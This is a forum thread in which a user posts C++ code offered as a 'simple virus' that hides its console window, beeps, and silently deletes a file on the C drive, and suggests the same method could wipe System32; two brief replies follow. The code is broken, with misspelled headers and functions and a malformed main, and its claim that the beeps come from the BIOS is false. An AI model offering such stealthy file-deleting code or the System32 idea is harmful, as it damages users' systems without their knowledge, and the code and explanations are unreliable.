Results 1 to 3 of 3
  1. #1
    Disturbed's Avatar
    Join Date
    Feb 2009
    Gender
    male
    Posts
    10,424
    Reputation
    1065
    Thanks
    2,563

    A simple virus in c++

    This is a code of a simple virus, it deletes files without knowledge of the user, and it makes aswome beeping noises in the bios.

    This will just delete a blank txt file on your C drive, so first make a file called
    file.txt right onto your C drive (C:\file.txt).

    next copy and paste this code into your compiler
    Code:
    #include <iostream>
    #include <widows.h>
    #include <winable>
    #include <stdio.h>
    
    using namespace std;
    
    int main;
    {
        FreeConsle();//makes the program run without a console so the user has no idea what is about to happen, this is optional.
        Beep(800,300); //FOR NOOBS   BEEP(frecuince,duration 1000=1 second)
        Sleep(3000);
        Beep(800,300);
        Beep(2400,300);
        Beep(800,300);
        Beep(2400,300);
        Beep(800,300);
        Beep(2400,300);
        Beep(800,300);
        Beep(2400,300);
        remove("C:\\file.txt"/*YOU MUST use \\ not \ after C:*/);
        return 0;
    }
    When you run this Program you should hear a series of beeps (not from speekers from your bios) and it will delete the txt file.
    This could be used to for example to wipe out your system 32, but you would have to write
    Code:
    remove(C:\\example);
    for every file you want to delete.

    YES I DID WRITE THIS, NOT THAT HARD. just because im a choob or whatever doesnt mean that i dont know how to code in c++.


  2. #2
    Zen's Avatar
    Join Date
    Jun 2007
    Gender
    male
    Location
    Eating a fucking burrito.
    Posts
    5,411
    Reputation
    239
    Thanks
    301
    My Mood
    Cynical
    looks chill but idk anything about C++ or viruses.

  3. #3
    tednugent's Avatar
    Join Date
    Mar 2007
    Gender
    male
    Location
    /bin/src
    Posts
    3,592
    Reputation
    17
    Thanks
    610
    Meh .

Similar Threads

  1. The Easiest way to Fix Almost All Simple Viruses!
    By bomb0324 in forum Suggestions, Requests & Help
    Replies: 0
    Last Post: 07-31-2010, 08:06 AM
  2. a simple virus in c++
    By Disturbed in forum C++/C Programming
    Replies: 9
    Last Post: 03-17-2009, 03:13 PM
  3. Proof Simple Chams is a virus
    By Hak3r101 in forum Combat Arms Hacks & Cheats
    Replies: 2
    Last Post: 03-10-2009, 04:02 PM
  4. [Virus source] A simple windows exploit.
    By tednugget in forum C++/C Programming
    Replies: 4
    Last Post: 01-04-2008, 06:13 PM
  5. Simple And Fun Virus :D
    By Synns in forum Spammers Corner
    Replies: 3
    Last Post: 10-11-2007, 11:50 AM

Tags for this Thread